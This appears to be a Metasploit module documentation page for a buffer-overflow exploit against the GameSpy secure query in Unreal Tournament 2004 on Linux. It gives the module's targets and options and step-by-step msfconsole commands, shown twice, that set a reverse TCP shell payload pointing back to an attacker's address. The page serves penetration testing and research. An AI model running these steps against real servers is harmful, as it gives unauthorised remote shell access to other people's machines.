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Unreal Tournament 2004 "secure" Overflow (Linux)
This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to bruteforce the service and exploit it multiple times.
Rank
- Good
Authors
- onetwo < >
References
Exploit Targets
- 0 - UT2004 Linux Build 3120
- 1 - UT2004 Linux Build 3186
Development
Similar Modules
Usage Information
$ msfconsole
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msf > use exploit/linux/games/ut2004_secure
msf exploit(ut2004_secure) > show payloads
msf exploit(ut2004_secure) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ut2004_secure) > set LHOST [MY IP ADDRESS]
msf exploit(ut2004_secure) > set RHOST [TARGET IP]
msf exploit(ut2004_secure) > show targets
msf exploit(ut2004_secure) > set TARGET [TARGET ID]
msf exploit(ut2004_secure) > exploit
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msf > use exploit/linux/games/ut2004_secure
msf exploit(ut2004_secure) > show payloads
msf exploit(ut2004_secure) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ut2004_secure) > set LHOST [MY IP ADDRESS]
msf exploit(ut2004_secure) > set RHOST [TARGET IP]
msf exploit(ut2004_secure) > show targets
msf exploit(ut2004_secure) > set TARGET [TARGET ID]
msf exploit(ut2004_secure) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 7787) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
